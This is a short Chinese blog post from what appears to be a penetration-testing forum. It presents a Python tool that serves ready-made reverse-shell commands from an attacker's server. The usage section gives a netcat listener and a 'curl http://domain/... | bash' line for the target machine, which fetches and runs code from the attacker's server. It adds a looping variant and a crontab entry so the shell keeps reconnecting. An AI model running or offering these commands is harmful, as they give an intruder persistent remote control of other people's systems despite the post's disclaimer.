基于BS架构的自动化反弹shell

administrator

发表文章数:115

热门标签

, , ,
首页 » Web安全 » 基于BS架构的自动化反弹shell

这是一个node.js脚本改的python工具,攻击者搭建服务器先运行该程序,会启动一个web服务。然后只需在目标机器中对服务器发起请求,提交反弹shell的地址和端口,会自动返回构造好的shell命令然后逐个测试,直到命令成功执行。

运行方法:
VPS / Domain :

python Get_Reverse_Shell.py
Attacker:
nc -lvp [reverse_port]
Target
curl http://domain/reverse_ip/reverse_port | bash
或者
while true; do curl http://domain/reverse_ip/reverse_port | bash; done
配合crontab使用效果更佳
crontab -e
/usr/bin/curl http://domain/reverse_ip/reverse_port | bash

下载

免责声明:本站所提供工具、技术文章,仅供技术学习交流、请勿用于非法行为,请遵守相关法律规定,否则后果自负。作者:administrator, 转载或复制请以 超链接形式 并注明出处 大老李的Blog|渗透测试论坛|红蓝对抗|大型Web安全问答社区
原文地址:《基于BS架构的自动化反弹shell》 发布于2018-11-16

分享到:
赞(0) 打赏 生成海报

评论 抢沙发

评论前必须登录!

  注册



长按图片转发给朋友

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

关于渗透测试入门到进阶教学
后期的系列课程、问答以及工具、思路分享将会在星球发布
切换注册

登录

忘记密码 ?

切换登录

注册